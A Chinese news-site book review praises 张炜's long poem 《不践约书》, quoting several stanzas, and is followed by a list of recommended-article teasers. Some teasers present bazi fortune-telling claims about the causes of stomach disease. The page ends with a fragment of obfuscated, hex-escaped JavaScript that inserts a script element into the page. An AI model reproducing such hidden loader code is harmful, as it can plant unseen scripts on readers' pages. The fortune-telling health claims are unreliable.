首页 / 封面新闻 / 【品读】《不践约书》:一往而深的情之书

【品读】《不践约书》:一往而深的情之书

封面新闻 2021-07-06 11:10

文/半夏

作家张炜以一系列长篇小说名闻天下,也因此荣获茅盾文学奖。近年来他仍不断有新作品出来,但作品不再“厚重”,越写越“薄”。张炜最新的作品是《不践约书》,一首有52节的长诗,出乎我的意料。《不践约书》是张炜再一次的自我突破,想起朱子一句话——真正大英雄,须临深履薄做出。

多数作家在抵达个人能企及的写作高峰后,随年纪渐长,通常自寻一条下山的小路,借着向下的势能写些生活散章什么的。张炜不是这样,在我看来他是到了木秀于林处仍没停下来,还继续往高处行,越过矮灌丛,走向高山草甸,目力所及处像是少了峰回路转处的花繁叶茂,看似变得越来越简单了,却是视野更加开阔通透了,大道至简。张炜向着雪线以上突破,冲着更峭拔冷峻的地方去,那里放眼远眺时看见的已是洗炼、骨感、纯粹的诗意,那样的高度会令人有些天地无极般的旋晕感,但这样的高度不是随随便便一个作家能不断超越的高度。

《不践约书》读完第一遍时是暮色时分,站起身来,深呼吸。

《不践约书》令我有生疏拌惊喜的感觉。那感觉竟然像是食蘑菇后中了毒,看见周围空气如彩云的丝缕魔幻般地流动着,引发我一系列跳跃的思绪串联,又如时间的沙漏里有细细的沙粒缓缓梭动。

张炜是一位大厨,他游刃有余地拿光阴当食材来烹煮,在文火慢炖后撇去时代的浮沫,放进各种滋味的作料,精心秘制一锅好汤,清汤,舀给我们品尝。

书名叫《不践约书》,读下来却实在是作家与岁月与情爱的心约之作!从人生各个阶段的忧闷到困惑,从肉体到灵魂,经历着情爱、时空、时代变局的砥砺和考验。

从全诗的第一节到最后一节,几乎每一节都有按摩拿捏到身体穴位痛点的诗句,我当它们是一颗一颗天然宝珠,我笨拙地希冀用文字的丝线先把它们串在一起给你看。

说好了在另一个落雪时分

在两千年的门洞下拥吻

那个邀约的信号仍旧是雪

一层浅浅的,踏不上脚印的雪

焦渴在酿造中滴滴流失

人在爱情中变化,灵与肉的双重渴望,肉体和精神在发育期、成长期,个人史中已经历了人类登月以及去往火星的未来迢迢之旅。

长期谋划拥有一个书童

穿粗布大襟衣裳,扎上双髻

比苏东坡再早一此,或者

停留在奢华的北宋也好

尽情享受活水烹茶的日子

这是一个中国文人拟古的典型梦想!真实的精神轨迹,但胸怀大志者既想像着穿行在有如张择端描绘的繁华都城汴京,也自律地要“制定30年清心寡欲的计划”。

无边的罪恶镶嵌了珍珠母

闪烁出斑斓的彩虹色泽

恶臭肮脏的泡沫升到树梢

叶子尽落,无法呼吸

破碎的爆裂涨满一条河谷

重金属全部沉降到水底

我们剃度吧,咬紧牙关

张炜对自然生态平衡的破坏和万物的凋零异常地敏感,感慨之余作者图谋用饱含深情的诗行救赎和揩拭这个脏了的世界。精神图谱此一阶段有如光栅过滤后的光线,闪着奇异的多彩光芒。

作者似乎知无不言,却欲言又止,其言说的语境,读者无,但晦涩间倒也察觉爱情的缠绵和执念贯彻始终。诗人用童年的记忆写历史的变数,有美好、欢愉和珍藏,也有欺骗、陷阱和背弃:

背叛的季节交换忠诚

在和平的日月搬动刀兵

冤魂像种子落地生根

每年春天长出一片节节草

老中医叫它麻黄

是一种发散风寒的虎狼药

在滴水成冰的日子里

多少人急需这种神奇的草

具象之叙说,立心言志,诗人在陈述,也在叩问,人生这一路上,逝去的已不可返,人生风景来到晚年,不乏焦虑。追忆似水年华时悲欣交集,人生“谢幕的礼炮和狗吠交织一起”。诗的每一节,都有“故事”,解读它为作者自传时会发现作者同时也勾勒出了一本时代之书的毛边:“凹印下的三叶虫之影”、“梧桐树上有庄子的凤凰”、“灵魂在最后的蹿跳”“炊烟颤颤抖抖然后断绝” 这样的诗句频频出现。

诗人用多层面多角度的季候物象生动地描绘了多维世界的灰色图景,有对环境污染的关注甚或绝望,像是也预见了人世的末日时光。老狗獾,老山妖,老疯婆是传说,饮牛洗耳的日子是神话,螳螂、朝菌和蟪蛄是自然万物,比喻奇绝想象瑰丽的诗行不断涌现,知识素养以及积攒经年的功力视野供养出了张炜的文字大气磅礴,气象万千!令人惊艳。

我确信《不践约书》这***诗的写作初心发乎于个人身心灵的成长史,精神发育史,作者为自己思想体系的确立、世界观的最终形成,作了一个至公天下的告白。

一个小节是一段个人史,是记忆或遥想。在《不践约书》的最后一节,第五十二节,诗人撕开胸膛,振聋发聩地丢出些语言的炸弹:

我的大名叫不济,小名叫悲伤

游游荡荡,变成一个强盗

偷袭那些言而无信的人

掘开层层叠叠的不义粮仓

……

原来这条长路永远是一个人

独行者拒绝所有承诺

“独行者拒绝所有承诺”——掷地有金属之铿锵的不践约书的宣言!

获得2020年诺贝尔文学奖的美国诗人露易丝.格丽克在一段随笔中写到:吸引我的是省略,是未说出的,是暗示,是意味深长,是有意的沉默。那未说出的,对我而言,具有强大的力量。比如,废墟的力量,已毁坏的或不完整的艺术品。这类作品必然地指向更大的背景。

诗人格丽克这段话拿来主义地评论张炜的《不践约书》恰好。《不践约书》是作为诗人的张炜独异视角下的隐喻、神话,是他临深履薄做出的新寓言。

《不践约书》是生命和思想的分泌物,它晶莹剔透,有着化学实验里分析纯以上的纯度级别。《不践约书》通篇追求的恰是约是信,品读时,我有过阅读时的晦涩感,反刍时会猜测其背后的隐喻是什么。张炜在跋里解决了我阅读时的困惑,表明了他的诗观,他说,晦涩应该由深邃难言的诗意所决定,而决不能变成形式主义的戏法……诗人惧怕抒情,虚假的滥情令人厌恶,轻浮的多情也足以反胃,但是诗一定是有深情在的痴情。

《不践约书》,举重若轻,是一个作家觉悟力、洞察力,仁慈心持续作用后析出的生命结晶体,约等于高僧大德的舍利子,它臻于作者本人想抵达的理想,也应是喜爱他的读者之幸。

《不践约书》意绪繁复具象意象斑驳迷离,我能用多短的一句话来界定它呢?想了好久,终于说出来,它是——一往而深的情之书!同时我要特别指出这句话前面并不需要读者补白那句"情不知所起"。

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();